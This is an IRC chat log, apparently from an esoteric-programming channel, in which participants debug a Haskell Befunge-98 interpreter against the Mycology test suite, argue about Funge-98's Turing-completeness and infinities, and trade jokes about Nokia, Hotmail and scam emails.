13:59:51 <elliott> Deewiant: Or at least it types for me.
13:59:53 <Deewiant> Oh, the ByteString type is the same
13:59:55 <Deewiant> I didn't know that
13:59:57 <elliott> This might be an implementation detail, but it works :-P
14:00:45 <elliott> Wrote to mycotmp3.tmp with o in linear text mode.
14:00:45 <elliott> GOOD: o removed space prior to newline
14:00:45 <elliott> UNDEF: o removes spaces prior to newline-valued cells
14:00:45 <elliott> BAD: i misread or o miswrote
14:00:45 <elliott> Odd. But it's better than last time.
14:01:04 <elliott> Deewiant: Oh, do you expect there to be no trailing newline, or something of that sort?
14:01:12 <Deewiant> No
14:01:27 <Deewiant> UNDEF: o wrote EOL to EOF
14:01:36 <elliott> Hm.
14:01:39 -!- asiekierka has joined.
14:01:52 <Vorpal> elliott, hm it doesn't tell how it miswrote/misread?
14:01:58 <elliott> Not here.
14:02:00 <elliott> textify = B8.unlines . filter (/= empty) . map (fst . B.spanEnd (== space)) . B8.lines
14:02:01 <Vorpal> oh wait, of course not. It is mycology
14:02:01 <elliott> That might work.
14:02:05 <elliott> Oh wait, I only want to strip them off at the end.
14:02:10 <elliott> initsWhile, in other words.
14:02:12 <elliott> :-P
14:02:29 <Deewiant> Vorpal: It's much more of a pain to preserve info and print stuff out in Befunge than it is in your interpreter
14:03:01 <Deewiant> When working on CCBI I practically ignore Mycology's BAD info other than seeing what instruction it's testing
14:03:20 <Vorpal> Deewiant, yeah indeed. But sometimes knowing what you expected would be nice. It isn't always obvious.
14:03:29 <elliott> Deewiant: The problem is that everyone who doesn't have fancy-super-debuggers because they're trying to get compliance first has a bit of a problem :-P
14:03:33 <elliott> Not that I'm complaining
14:03:47 <elliott> Anyone who writes over 100K of comprehensive Befunge-98 test suite has done enough for the world already :P
14:03:51 <Deewiant> elliott: You don't need a fancy-super-debugger, you just need the ability to put traceShow in the right function
14:03:52 <elliott> (Perhaps more than they should have.)
14:04:01 <elliott> Deewiant: That counts as fancy-super-debugger in my book.
14:04:09 <Deewiant> elliott: You have that ability :-P
14:04:26 <elliott> Well, yeah, but I do it by printing tuples with ridiculous first values so they stand out :-P
14:04:38 <Vorpal> elliott, I actually think I change ccbi to print a trace in the same format as cfunge -t does and then diffed at one point. That was for some threading stuff though. IIRC that one was a bug in mycology and ccbi. Was quite long ago.
14:04:48 <elliott> fizzie: "Nokia will partner with Microsoft and use Windows Phone"
14:04:53 <elliott> fizzie: Ha ha, Finnish Nokia losers
14:04:56 <Vorpal> elliott, ouch
14:05:05 <elliott> "The biggest impact will be to Finland's economy as Nokia is preparing to lay off thousands of workers." Joy
14:05:07 <Deewiant> elliott: Windows is an improvement over Symbian
14:05:10 -!- ais523 has joined.
14:05:15 <elliott> Enjoy going back to the ice age where you belong, dirty Finns!
14:05:24 <elliott> (This is what happens when Nokia collapses, I'm told.)
14:05:26 <Vorpal> Deewiant, meego looked good
14:05:36 <elliott> MeeGo looked crap
14:05:42 <Deewiant> That might've been better but it's still an improvement over what they have
14:05:55 <elliott> I can't imagine actually wanting to use it... more importantly, I don't see how it could work on a tiny device.
14:05:57 <Deewiant> And it might even be a good business move; in case you didn't know, there's a lot of Windows machines out there :-P
14:06:10 <elliott> And this:
14:06:11 <elliott> http://upload.wikimedia.org/wikipedia/commons/2/29/Meego_Architecture.jpg
14:06:14 <elliott> is the very image of brain damage.
14:06:28 <elliott> Although I do like how they've lumped huge chunks of Linux into the tiny bottom box.
14:06:40 <elliott> And apparently consider X11 on the same level as device sync and single sign-on.
14:06:53 <elliott> (Wait, they used X? Thank god nobody uses it.)
14:07:04 <elliott> <Deewiant> And it might even be a good business move; in case you didn't know, there's a lot of Windows machines out there :-P
14:07:08 <elliott> Deewiant: Windows != Windows Phone. :p
14:07:14 <Deewiant> And?
14:07:17 <Deewiant> Windows Phone talks to Windows
14:07:24 <elliott> Deewiant: So do other phones.
14:07:27 <Deewiant> Same way iOS talks to OS X
14:07:34 <elliott> iOS talks to Windows too :-P
14:07:36 <Deewiant> I imagine they'll be much more synergistic
14:07:46 <Vorpal> <elliott> is the very image of brain damage. <-- what in specific? It looks rather complex...
14:07:48 <elliott> You just said synergistic wrt a business strategy, congrats
14:07:50 <elliott> Vorpal: Precisely
14:07:52 <Deewiant> Especially if you use hotmail and the works, whatever
14:07:59 <elliott> Hotmail? ITYM WINDOWS LIVE MAIL
14:08:31 <Deewiant> Actually it's Windows Live Hotmail which I can abbreviate to Hotmail if I so choose
14:08:38 <Vorpal> elliott, hm I think it might be the picture that is brain damaged. "3D Graphics" is listed twice in "Visual Svcs"
14:09:07 <Deewiant> elliott: Also, synergistic wrt software, not the strategy :-P
14:09:17 <elliott> You still said synergistic :-)
14:09:27 <ais523> elliott: it was renamed to Windows Live Mail, but they quickly had to change it to Windows Live Hotmail on the basis that their customers wanted hotmail, not just ordinary mail
14:09:29 <Vorpal> elliott, in generally that image looks rather unprofessional. What with the text going outside boxes and so on
14:09:31 <Deewiant> If you find the word offensive that's your problem
14:09:33 <elliott> ais523: *groan*
14:09:40 <elliott> Deewiant: Not offensive, just meaningless
14:09:48 <ais523> I don't blame Microsoft for that sort of thing, but I can definitely blame their customers
14:10:06 <ais523> actually, Microsoft's business model - marketing to idiots - is probably a pretty good one
14:10:34 <elliott> ais523: I wish Microsoft would just, for once, cater to second-stupidest people out there and disregard the absolute stupidest.
14:10:55 <Deewiant> Why throw away money
14:11:16 <elliott> Deewiant: Because the rest of us have to deal with the result
14:11:16 <ais523> elliott: perhaps; but the absolute stupidest are more likely to spend money on things they don't actually need
14:11:22 <Vorpal> elliott, what would the stupidest do. Possibly annoy other people than microsoft instead? Which sounds worse.
14:11:33 <ais523> I've been in a computer shop where the salesman convinced someone who clearly didn't need Office - and probably not any other office suite either - to buy it
14:11:37 <Deewiant> elliott: The result being hotmail instead of mail? I don't mind much :-P
14:11:58 <elliott> Deewiant: IT WOULD BE A START
14:12:48 <ais523> it's as if the customers didn't realise that people trying to sell them things generally don't have their best interests in mind
14:13:43 <elliott> ais523: I have thought long and hard* about this matter and have concluded that most people are, in fact, dumb as bricks.
14:13:46 <elliott> *not really
14:13:56 <elliott> At least I don't see any other explanation :-P
14:14:29 <ais523> elliott: well, I tend not to meet really really stupid people much
14:14:38 <ais523> because of the methods I use to meet and virtual-meet people
14:14:47 <elliott> if not stupid then at leats gullible
14:14:48 <elliott> *least
14:14:54 <ais523> hmm, gullible I can believe
14:14:55 <elliott> and not very critically-minded
14:14:56 <Vorpal> <ais523> elliott: perhaps; but the absolute stupidest are more likely to spend money on things they don't actually need <-- you know what
14:15:08 <Vorpal> make it "windows live mail" and then offer "hotmail" as an upgrade
14:15:09 <elliott> not really surprising considering the state of the school system
14:15:18 <elliott> Vorpal: You're hired.
14:15:22 <elliott> Turn up in Redmond tomorrow.
14:15:38 <ais523> elliott: it seems the ClearBF people turned up and added details about the lang
14:15:49 <elliott> ais523: indeed, it's ... odd
14:15:52 <Vorpal> change logo, add possibly one or two features so somewhat less stupid people can't complain about you selling nothing
14:15:52 <ais523> admittedly, I almost thought it was spam
14:15:53 <elliott> it's like PEBBLE, except useless
14:15:55 <ais523> but took a second use
14:15:57 <ais523> *second look
14:16:07 <Vorpal> say, $2 / month or such for it?
14:16:30 <ais523> Vorpal: ingenious
14:16:37 <ais523> *ingenious
14:16:46 <elliott> Vorpal: and then just team up with ISPs
14:16:46 <ais523> obvious extra feature is to remove the ads in the sig space
14:16:50 <elliott> to try and get people to buy it when they sign up
14:16:54 <elliott> dear god, it would make millions
14:17:04 <elliott> ais523: hmm, I bet sufficiently stupid people like them
14:17:05 <ais523> but unfortunately, you have to be Microsoft to make it work
14:17:08 <elliott> ais523: say, they click them on other people's emails
14:17:12 <elliott> because they interest them
14:17:21 <Vorpal> ais523, that could be an actual useful one. No idea how much money they make from the ads. But price it after that I guess
14:17:32 <ais523> Vorpal: I doubt it's $2/month per user
14:17:33 <elliott> better:
14:17:42 <Vorpal> ais523, less or more?
14:17:43 <elliott> have it advertise that the person is a VIP hotmail user
14:17:44 <elliott> i.e.
14:17:48 <Vorpal> less I guess
14:17:48 <ais523> Vorpal: I doubt it's that much
14:17:51 <Vorpal> right
14:17:56 <elliott> "This person uses Hotmail, the email service for [...]. Do you? http://hotmail.com/"
14:18:03 <elliott> where [...] is some self-congratulatory bullshit
14:18:07 <elliott> replace the ad with that
14:18:24 <ais523> or change it to an "upgrade to" advert if the email they're sending to is @live.com
14:18:26 <Vorpal> elliott, and offer veryhotmail for $3 / month that lets you turn that off?
14:18:33 <Deewiant> Hotmail no longer sends that
14:18:35 <elliott> Sizzlingmail
14:18:45 <elliott> Deewiant: OKAY, HOTMAIL USER
14:18:46 <ais523> Deewiant: ah, they did last I checked, but that was a couple of years ago
14:18:59 <Deewiant> Yes, it's relatively recent
14:19:15 <Deewiant> I don't remember (or might not even know) when exactly
14:19:24 <ais523> it's worth noting that hotmail/live.com blocks emails from yahoo.com addresses
14:19:36 <ais523> I discovered that one by accident, but it was easy enough to confirm
14:19:44 <elliott> /really/?
14:19:48 <elliott> I _very_ much doubt that
14:19:49 <Vorpal> ais523, how strange
14:19:55 <ais523> elliott: it might have been a temporary spat
14:19:58 <elliott> because Yahoo is still pretty damn commonly used
14:20:18 <ais523> basically, I ended up in charge of an existing mailing list that had previously been run by someone else
14:20:21 <ais523> on Yahoo! Groups
14:20:36 <ais523> and emails sent to hotmail addresses from it didn't work
14:20:52 <elliott> that seems more like yahoo blocking hotmail if anything
14:21:40 <Vorpal> I wonder what sort of spam mail you get to emails under the .ng domain.
14:21:46 <Vorpal> (That's Nigeria)
14:22:05 <elliott> hi, i'm just this dude
14:22:07 <elliott> and i hear you're a prince
14:22:13 <elliott> and want to give me lots of money, if i give you some
14:22:20 <elliott> so if i give you $2
14:22:25 <elliott> do you think you could give me $1,000,000?
14:22:27 <elliott> sincerely,
14:22:29 <elliott> john smith smithson
14:22:32 <ais523> a few quick searches imply it was a case of hotmail blocking yahoo, but only april-june 2007
14:22:33 <elliott> Vorpal: that ^
14:22:36 <ais523> so presumably it doesn't happen any more
14:22:42 <Vorpal> elliott, ha. Nice reversing of sum
14:23:14 <ais523> elliott: you have to ask for the $1,000,000 first
14:23:28 <elliott> hmm, right
14:23:30 <ais523> otherwise you're, umm, advance-fee defrauding yourself, in case the other person just never sends the million
14:23:50 <elliott> ais523: insert "THAT'S THE JOKE" macro
14:24:10 <ais523> oh, I thought the joke was what Vorpal pointed out
14:24:25 <Vorpal> ais523, I think the joke was that the *whole* thing was reversed
14:24:54 <Vorpal> ais523, dude asking a prince, instead of the reverse. That is also part of the joke
14:25:32 <Deewiant> elliott: I like how you tend to call other people's jokes poor, but always end up being all "WHOOSH" when you tell a joke yourself
14:25:38 <elliott> Deewiant: I like that too
14:25:45 <ais523> in that case, the money bit would work more like this: "I hear your uncle died last week, and you're having trouble moving the money, TEN BILLION POUNDS, to the UK. I'd be willing to pay your 10% processing fee in order for a 50% split of the resulting funds."
14:25:54 <elliott> Deewiant: I have a state-sanctioned monopoly on bad jokes, you see
14:26:03 <ais523> elliott: *oerjan has
14:26:08 <elliott> no, he's puns
14:26:17 <Vorpal> Deewiant, it would indeed not be inaccurate to say that elliott's behaviour is somewhat hypocritical.
14:26:26 <Deewiant> elliott: I see. That /would/ be the simplest explanation.
14:26:35 <elliott> It's not the case that double negatives don't not not not make you sound more not unneutral.
14:26:41 <ais523> wow, ClearBF is actually sub-TC
14:26:50 <elliott> ais523: so's Funge-98
14:26:54 <Vorpal> elliott, ah. That is UK only though. I have the one in Sweden.
14:27:12 <elliott> the only way you can have bignum coordinates violates the spec (like efunge does)
14:27:15 <ais523> elliott: well, Funge-98 is a push-down automaton
14:27:19 <Gregor> I notice that yet again when I update the report style, nobody showers me with gratitude.
14:27:20 <elliott> because y requires you to push the number of bits
14:27:21 <Gregor> Ingrates.
14:27:21 <ais523> ClearBF's finite state
14:27:26 <ais523> Gregor: we haven't looked at it yet
14:27:27 <elliott> Gregor: You updated it again?
14:27:34 <Gregor> Yesterday :P
14:27:42 <elliott> ais523: but it's amusing because people go "oh, Funge-98 lifted the restriction and it's TC now!!"
14:27:44 <elliott> !bfjoust
14:27:45 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
14:27:50 <Vorpal> <ais523> elliott: well, Funge-98 is a push-down automaton <-- err... I thought it was BSM?
14:27:53 <ais523> ah, it's a reasonably small change
14:27:59 <elliott> more like BDSM
14:28:06 -!- poiuy_qwert has quit (Quit: This computer has gone to sleep).
14:28:08 <elliott> Gregor: looks the same :P
14:28:11 <Vorpal> elliott, only for implementing it :P
14:28:12 <ais523> actually, I think it /is/ TC
14:28:18 <Gregor> I added the position >_<
14:28:21 <elliott> well, the stack stack is infinite
14:28:23 <elliott> no it's not
14:28:27 <elliott> ais523: you have to push stack stack length and stack length on stack
14:28:31 <Vorpal> <ais523> ah, it's a reasonably small change <-- what is it? I can't find it.
14:28:35 <ais523> you can use the junction of the top of the SOSS and the top of the TOSS as a zipper
14:28:46 <ais523> and that's fine so long as you never call y
14:29:12 <Vorpal> ais523, befunge-98 is TC if you allow bignum implementations like efunge. (Though of course efunge is not TC in practise either.)
14:29:15 <Vorpal> ais523, no?
14:29:19 <elliott> ais523: erm
14:29:22 <ais523> i.e. it's not a case of "the existence of y means you can never make a change that would make y fail"; it's more "the specification of y means it can't manage certain possible states on the stack"
14:29:27 <ais523> y should simply reflect in such cases
14:29:29 <elliott> bullshit
14:29:36 <elliott> y dictates the rest of the implementation
14:29:37 <elliott> IMO
14:29:44 <elliott> because it's _system_ info
14:29:50 <elliott> i.e. information that exists in /every system/
14:29:56 <elliott> and y just _queries_ it
14:29:58 <elliott> so it must already be there
14:30:24 <ais523> it is there, nothing about y implies that the information is restricted to the size of a stack element
14:30:27 <ais523> except the fact that y pushes it
14:30:29 <Deewiant> You can just push infinity
14:30:39 <ais523> so, the information is /there/, just y is incapable of pushing it, therefore should reflect
14:30:41 <Deewiant> Then you need tagged cells, of course
14:30:51 <elliott> Deewiant: I don't think that's spec-compliant :P
14:31:06 <Deewiant> But if it's a value that works transparently like infinity then I guess it would be allowed
14:31:31 <ais523> Deewiant: heh, are you arguing that there's no way from within standard Funge to determine that someone hasn't just pushed infinity on the stack?
14:31:33 <ais523> that's ingenious
14:31:36 <elliott> Point is, regular Befunge-98 isn't TC because of Funge-space being relaxed, like people think it is :P
14:31:38 <Vorpal> Deewiant, I'm not sure you can consistently handle cells with the value infinity
14:31:39 <oerjan> simply push a value that is too huge for your program to ever detect it is not infinite
14:31:47 <ais523> elliott: yep, it clearly doesn't have infinite fungespace
14:31:51 <ais523> but it does have multiple stacks
14:31:56 <oerjan> graham's number or so
14:32:00 <Vorpal> Deewiant, as in mathematically consistently
14:32:04 <Deewiant> ais523: I don't think there is, as such
14:32:12 <elliott> Infinity isn't inconsistent
14:32:13 <Deewiant> Some fingerprints can cause problems, of course
14:32:23 <oerjan> and then take the limit of that behavior
14:32:24 <elliott> oerjan: wow, that's such an engineer way of thinking about it
14:32:27 <elliott> I'm disappointed
14:32:29 <elliott> oerjan: oh, do you mean that
14:32:31 <elliott> since fungespace is infinite
14:32:39 <elliott> that there's a value and a value+1 that no Funge-98 program can distinguish?
14:32:42 <elliott> erm
14:32:44 <elliott> since fungespace is finite
14:32:45 <elliott> that there's a value and a value+1 that no Funge-98 program can distinguish?
14:32:46 <Vorpal> elliott, not as such. But if you aren't careful in how you handle it you can get issues. Besides what infinity is it? Aleph-zero?
14:32:48 <Deewiant> Well, you have to figure out what to do about infinity-infinity and infinity/infinity
14:32:51 <elliott> oerjan: if so, that's genius
14:32:52 <elliott> except that no
14:32:55 <elliott> because fungespace coords
14:32:57 <ais523> what about doing it Feather-style: just push 8 or something, if any other value in the program ever end up becoming more just go back in time and increase the number you pushed
14:32:59 <elliott> have the same possible range as cells
14:33:04 <elliott> so no such value exists oerjan :(
14:33:17 <elliott> Vorpal: Aleph-null is a cardinality, not relevant here
14:33:20 <Deewiant> ais523: That'd work TRDS-style if it weren't for the fact that there's I/O
14:33:28 <Vorpal> elliott, hm true
14:33:40 <oerjan> elliott: what i'm really saying is that _if_ you make things actually infinite you can do it in such a way that no befunge program can prove you did it
14:33:47 <elliott> right
14:33:52 <elliott> but howso
14:33:55 <elliott> *but how
14:33:58 <ais523> Deewiant: I/O doesn't fit well into Feather's worldview
14:34:25 <elliott> *the world doesn't
14:34:27 <Vorpal> Deewiant, Some fingerprints might interact badly with it. Is there any pow() for non-floating point in fingerprints?
14:34:37 -!- ultra1 has joined.
14:34:56 <elliott> I have to flood 12 lines for their sheer ugly insanity, please forgive me:
14:34:57 <elliott> [[
14:34:57 <Deewiant> ais523: Just saying that this isn't Feather, which may complicate things
14:35:00 <elliott> mergeByteString :: Bool -> ByteString -> FungeSpace -> Vector -> (Vector, FungeSpace)
14:35:00 <elliott> mergeByteString is2D s (FungeSpace m minXY maxXY rowPop colPop) offset@(ox,oy) = ((bx,by),FungeSpace m' (min offset minXY) (max (bx-1,by-1) maxXY) rp cp)
14:35:00 <elliott> where ((_,by),m',rp,cp,_,bx) = B.foldl' byte ((ox,oy),m,rowPop,colPop,False,0) s
14:35:00 <elliott> byte (p@(x,y),!m,!rp,!cp,lastWasCR,!biggestX) w
14:35:00 <elliott> | is2D && (w == ff || (w == lf && lastWasCR)) = (p, m, rp, cp, False, biggestX)
14:35:02 <elliott> | is2D && (w == cr || w == lf) = ((ox,y+1), m, rp, cp, w == cr, biggestX)
14:35:04 <elliott> | w == space = ((x+1,y), m, rp, cp, False, max (x+1) biggestX)
14:35:06 <elliott> | otherwise = ((x+1,y), Map.insert p (fromIntegral w) m, if Map.findWithDefault space p m == space then modm (+1) y rp else rp, if Map.findWithDefault space p m == space then modm (+1) x cp else cp, False, max (x+1) biggestX)
14:35:12 <elliott> where modm f = Map.alter (\x ->
14:35:13 <oerjan> elliott: the befunge program cannot prove you didn't just choose a finite number too large to distinguish during the lifetime of the universe. since you are _actually_ doing it infinite, this still applies if the estimate for universe lifetime increases (as long as not infinite)
14:35:14 <elliott> case f (maybe 0 id x) of
14:35:16 <elliott> 0 -> Nothing
14:35:18 <elliott> x' -> Just x')
14:35:19 <Vorpal> ouch
14:35:20 <elliott> ]]
14:35:22 <elliott> TODO: Make be not hideous
14:35:24 <Vorpal> elliott, sprunge.us works too
14:35:28 <elliott> oerjan: lifetime of the universe? please, we're not restrained by such petty constraints
14:35:31 <elliott> Vorpal: EVERYONE HAD TO SEE THAT.
14:35:37 <ais523> oerjan: it easily can: just run :- on it
14:35:50 <elliott> infinity-infinity can be 0 :P
14:35:50 <ais523> you end up with 0 if it pushed Graham's Number, and NaN if it's an actual infinity
14:35:58 <elliott> infinity-infinity can be 0 :P
14:36:00 <Deewiant> Vorpal: There is such a pow(), in FIXP IIRC, slowdown.b98 uses it
14:36:01 <ais523> elliott: :1+- then
14:36:10 <Vorpal> ais523, NaN only if floating point surely?
14:36:12 <elliott> ais523: indeed
14:36:20 <elliott> ais523: or even just
14:36:23 <elliott> :`
14:36:31 <elliott> er wait
14:36:33 <elliott> obviously infinity=infinity
14:36:34 <elliott> I mean
14:36:39 <elliott> :1+`...it's infinity...
14:36:59 <elliott> ofc you could have a stack of infinities :)
14:37:03 <elliott> and infinity+1 -> infinity+1
14:37:12 <ais523> what I mean is that infinity == infinity+1
14:37:15 <Vorpal> Deewiant, now I'm not sure what sort of infinity we use, so what would 10^infinity do in that case?
14:37:20 <elliott> ais523: yep, but you could make that not be the case
14:37:29 <Deewiant> 10^infinity = infinity
14:37:30 <ais523> whereas A(G_64,G_64) != A(G_64,G_64)+1
14:37:39 <elliott> you could make infinity+1 be a distinct value
14:37:54 <ais523> Deewiant: that contradicts typical mathematical theory
14:37:58 <elliott> Deewiant: nope, 10^infinity = 10^infinity
14:38:01 <elliott> just store it algebraically
14:38:28 <Deewiant> ais523: Eh? lim n 10^n = infinity, surely?
14:38:54 <ais523> Deewiant: it's a different infinity, the cardinality of reals rather than the cardinality of ints
14:39:08 <Deewiant> Only if we're talking about cardinalities
14:39:11 <oerjan> actually you want to choose a hyperreal number of some sort
14:39:28 <elliott> oerjan: we're going to reinvent ordinals soon
14:39:33 <elliott> but that has the 1+infinity vs infinity+1 problem
14:39:38 <oerjan> no, ordinals are inadequate for this
14:39:44 <ultra1> c est quoi ce charabbia
14:39:48 <elliott> ORDINALS ARE INADEQUATE. WE NEED MORE INFINITY!!
14:39:51 <elliott> ultra1: quoi!
14:40:03 <Vorpal> elliott, what is the cardinality of the set of all ordinals btw?
14:40:06 <elliott> ultra1: esteda moude emt ablee?
14:40:13 <oerjan> you want a number that can give answers to all your questions as if it were finite, but actually isn't
14:40:14 <elliott> Vorpal: there is no set of all ordinals, surely you know that
14:40:21 <elliott> such a set is inconsistent
14:40:33 <oerjan> and hyperreals fit that
14:40:42 <Vorpal> elliott, oh indeed
14:41:01 <Gregor> I'm all the way down to #20? D-8
14:41:48 <elliott> :t lookAhead
14:41:49 <lambdabot> Not in scope: `lookAhead'
14:42:28 <elliott> > ['0'..'9']
14:42:29 <lambdabot> "0123456789"
14:42:33 <elliott> hmm, can & read an integer with - in front of it?
14:42:38 <elliott> i.e. negative :P
14:43:26 <oerjan> @hoogle hLookAhead
14:43:27 <lambdabot> System.IO hLookAhead :: Handle -> IO Char
14:43:54 <elliott> indeed
14:43:57 <Deewiant> elliott: Nope
14:44:03 -!- ultra1 has quit (Ping timeout: 240 seconds).
14:44:03 <elliott> Deewiant: Really?
14:44:05 <elliott> heh
14:44:08 <Deewiant> elliott: Yep
14:44:21 <elliott> Hmm, indeed. "Nice".
14:48:45 <elliott> Deewiant: What does mycouser do between saying "UNDEF: got (char you entered) which is hopefully correct." and saying "All done checking the following instructions: / % & ~"?
14:48:50 <elliott> It waits on a newline for me.
14:50:15 <Gregor> !bfjoust raping_turtle -(>+>-)*4>([(+.)*144+>]+>[(-.)*144->]->)*11
14:50:52 <elliott> Gregor's warrior names get steadily more classy.
14:51:00 <Gregor> I nose
14:51:01 <elliott> But invariably turtle-oriented.
14:51:06 <Deewiant> elliott: It reads another char, can't remember why.
14:51:16 <elliott> Deewiant: Ah.
14:51:35 <elliott> Please input a number: UNDEF: got 3 which is hopefully correct.
14:51:35 <elliott> Please input a character: UNDEF: got 120 'x' which is hopefully correct.
14:51:35 <elliott> shiro: <stdin>: hGetChar: end of file
14:51:37 <elliott> Oh dear.
14:51:40 <elliott> It should be reflecting.
14:51:45 <Vorpal> Deewiant, it swallows newline iirc
14:51:48 <Vorpal> Deewiant, no?
14:52:46 <oerjan> @hoogle hIsEOF
14:52:46 <lambdabot> System.IO hIsEOF :: Handle -> IO Bool
14:53:06 -!- Slereah has quit (*.net *.split).
14:53:06 -!- shachaf has quit (*.net *.split).
14:53:07 -!- ais523 has quit (*.net *.split).
14:53:07 -!- asiekierka has quit (*.net *.split).
14:53:08 -!- Phantom_Hoover has quit (*.net *.split).
14:53:08 -!- cheater- has quit (*.net *.split).
14:53:08 -!- miekko has quit (*.net *.split).
14:53:08 -!- Herobrine has quit (*.net *.split).
14:53:08 -!- Mannerisky has quit (*.net *.split).
14:53:09 -!- MigoMipo has quit (*.net *.split).
14:53:10 -!- dbc has quit (*.net *.split).
14:53:10 -!- mtve has quit (*.net *.split).
14:53:10 -!- myndzi has quit (*.net *.split).
14:53:11 -!- coppro has quit (*.net *.split).
14:53:11 -!- ineiros has quit (*.net *.split).
14:53:12 -!- jix has quit (*.net *.split).
14:53:12 -!- SimonRC has quit (*.net *.split).
14:53:12 -!- rodgort has quit (*.net *.split).
14:53:13 -!- Deewiant has quit (*.net *.split).
14:53:13 -!- aloril has quit (*.net *.split).
14:53:13 -!- tswett has quit (*.net *.split).
14:53:14 -!- Behold has quit (*.net *.split).
14:53:15 -!- olsner has quit (*.net *.split).
14:53:15 -!- lifthrasiir has quit (*.net *.split).
14:53:15 -!- Gregor has quit (*.net *.split).
14:53:21 <elliott> oerjan: yay you're still here
14:53:25 <oerjan> elliott: ^
14:53:28 <oerjan> huh
14:53:30 <elliott> oerjan: yes, I use it
14:53:37 <elliott> oerjan: but more importantly, I use ioReflect
14:53:42 <oerjan> elliott: we're on the same server
14:53:50 <elliott> so it should just be _reflecting_
14:53:52 <elliott> rather than complaining
14:53:59 <elliott> unless isEOF doesn't throw an exception...
14:54:08 <elliott> does error "foo" count as an IOException?
14:54:11 <elliott> guess not
14:54:22 <elliott> hope not, since that would fuck up some of my "wtf?" error prints :D
14:54:33 <oerjan> no, although you _can_ catch it
14:54:51 <oerjan> with the more general exception catching
14:55:01 -!- pikhq_ has quit (Ping timeout: 240 seconds).
14:55:03 <elliott> oerjan: I use Control.Exception, which is probably that
14:55:04 <EgoBot> Score for Gregor_raping_turtle: 30.0
14:55:19 -!- pikhq has joined.
14:56:00 <oerjan> mhm
14:56:43 <oerjan> !haskell import System.IO; main = hGetChar >>= print
14:57:05 <oerjan> hm i guess that won't really print anything
14:57:51 <oerjan> elliott: if you want to only catch IOExceptions, you have to restrict it i think...
14:57:55 <elliott> oerjan: I do
14:58:16 <elliott> oerjan: ioReflect :: IO a -> Shiro a
14:58:16 <elliott> ioReflect action = do
14:58:17 <elliott> st <- get
14:58:17 <elliott> io action `catchShiro`
14:58:17 <elliott> \(e::IOException) -> do
14:58:18 <elliott> io . hPutStrLn stderr $ "*** [Reflecting on IO exception: " ++ show e ++ "]"
14:58:20 <elliott> throw (ShiroIOException st)
14:58:24 <elliott> (print is just for dbeugging)
15:00:02 <elliott> but er
15:00:07 <elliott> eof <- isEOF
15:00:07 <elliott> if eof then return i else do
15:00:14 -!- SimonRC has joined.
15:00:14 -!- ais523 has joined.
15:00:14 -!- asiekierka has joined.
15:00:14 -!- Behold has joined.
15:00:14 -!- Phantom_Hoover has joined.
15:00:14 -!- cheater- has joined.
15:00:14 -!- ineiros has joined.
15:00:14 -!- mtve has joined.
15:00:14 -!- MigoMipo has joined.
15:00:14 -!- myndzi has joined.
15:00:14 -!- shachaf has joined.
15:00:14 -!- Slereah has joined.
15:00:14 -!- jix has joined.
15:00:14 -!- Mannerisky has joined.
15:00:14 -!- Deewiant has joined.
15:00:14 -!- aloril has joined.
15:00:14 -!- tswett has joined.
15:00:14 -!- rodgort has joined.
15:00:14 -!- coppro has joined.
15:00:14 -!- miekko has joined.
15:00:14 -!- dbc has joined.
15:00:14 -!- olsner has joined.
15:00:14 -!- lifthrasiir has joined.
15:00:14 -!- Herobrine has joined.
15:00:14 -!- Gregor has joined.
15:00:15 <elliott> hard to get more direct than that kind of checking :)
15:00:21 <elliott> oh wait
15:00:32 <elliott> it's read with the other instruction
15:00:33 <elliott> `sh which ghci
15:00:33 <elliott> Gregor: 30.0 for the raping turtle btw
15:00:41 -!- asiekierka has quit (Excess Flood).
15:00:48 <oerjan> i don't think HackEgo has ghc
15:00:54 <oerjan> !sh which ghci
15:00:59 <EgoBot> /usr/bin/ghci
15:01:04 <ais523> wow, there's quite a renaissance of slow-rush programs in BF Joust
15:01:07 <HackEgo> No output.
15:01:10 <oerjan> also that would be `run
15:01:11 -!- asiekierka_ has joined.
15:01:16 <elliott> `run which ghci
15:01:16 <HackEgo> No output.
15:02:42 <elliott> oerjan: hm my catch should be working actually
15:02:58 <oerjan> ioReflect works other places?
15:03:14 <elliott> yep
15:03:38 -!- tswett_ has joined.
15:03:40 -!- Behold has quit (*.net *.split).
15:03:41 -!- olsner has quit (*.net *.split).
15:03:41 -!- lifthrasiir has quit (*.net *.split).
15:03:41 -!- Gregor has quit (*.net *.split).
15:03:42 <oerjan> so can you show the actual use case which isn't working?
15:03:43 <Vorpal> gah
15:03:44 <Vorpal> not again
15:03:52 -!- Deewiant_ has joined.
15:04:01 <Vorpal> Deewiant_, not sure if this got through last time:
15:04:07 <Vorpal> <Vorpal> Deewiant, it swallows newline iirc
15:04:08 <Vorpal> <Vorpal> Deewiant, no?
15:04:11 <elliott> it did
15:04:17 <elliott> oerjan: coreIns '~' = io (hFlush stdout) >> (push . fromIntegral . ord =<< io getChar)
15:04:18 <Vorpal> elliott, well to us, but to him I meant
15:04:22 <elliott> i suppose hFlush could be failing :)
15:04:27 <elliott> oh
15:04:30 <elliott> "io getChar"
15:04:32 <Vorpal> elliott, we two were on the same side of the split. He wasn't :P
15:04:32 <elliott> hurrrrr
15:04:37 <elliott> Vorpal: o rite
15:04:40 -!- Phantom_Hoover has quit (Ping timeout: 240 seconds).
15:05:02 <oerjan> elliott: and that's all wrapped inside ioReflect?
15:05:02 <Vorpal> Deewiant_, anyway I'm pretty sure mycouser wants to eat a newline there.
15:05:11 -!- Behold has joined.
15:05:11 -!- olsner has joined.
15:05:11 -!- lifthrasiir has joined.
15:05:11 -!- Gregor has joined.
15:05:18 <elliott> oerjan: no :D
15:05:19 <elliott> oerjan: ioReflect is like io except reflecting
15:05:19 <elliott> I just forgot to use it
15:05:19 <elliott> fixed
15:05:23 <oerjan> *facepalm*
15:05:31 <elliott> Vorpal: seems pointless
15:05:35 <quintopia> ais523:
15:05:36 <elliott> and makes choosing \n as the character odd :)
15:05:40 <ais523> yes quintopia?
15:05:43 <Vorpal> elliott, why
15:05:47 <quintopia> check your pms
15:05:50 <elliott> Vorpal: well why read the newline?
15:05:52 <ais523> I didn't get one
15:05:55 <quintopia> huh
15:05:56 <Vorpal> elliott, if you implement STRN it will test it's input function afterwards
15:05:59 <ais523> you probably PMed me during the netsplit and it got lost as a result
15:06:01 <ais523> try again
15:06:05 <Vorpal> elliott, same for BASE iirc
15:06:12 <Vorpal> elliott, so it would mess up those tests
15:06:12 <elliott> quintopia: stop CONSPIRING
15:06:17 <elliott> Vorpal: well true
15:06:23 -!- copumpkin has quit (Quit: Computer has gone to sleep.).
